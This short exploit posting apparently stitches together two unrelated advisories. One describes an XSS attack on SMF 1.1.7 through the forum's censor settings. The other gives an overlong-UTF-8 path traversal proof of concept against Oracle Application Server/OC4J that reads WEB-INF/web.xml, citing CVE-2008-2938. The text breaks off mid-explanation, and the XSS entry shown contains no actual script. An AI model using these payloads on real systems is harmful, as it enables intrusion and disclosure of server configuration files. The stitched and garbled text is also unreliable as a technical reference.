SMF 1.1.7 (simplemachines.org) XSS
Exploitation:
If you can modify the censor on a SMF forum, then you can make it
execute arbitrary JS code.
http://SMF.Forum.com/index.php?action=postsettings;sa=censor
Just add the following entry:
http://www.test.xss/ = http://www.test-xss/;
Server Version Info: Oracle-Application-Server-10g/10.1.3.1.0 Oracle-HTTP-Server
PoC: http://OC4J/web-app/foobar/%c0%ae%c0%ae/WEB-INF/web.xml
Related: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2938
Explaination: The %c0%ae%c0%ae is interpreted as: .. because on
Java's side: %c0%ae is
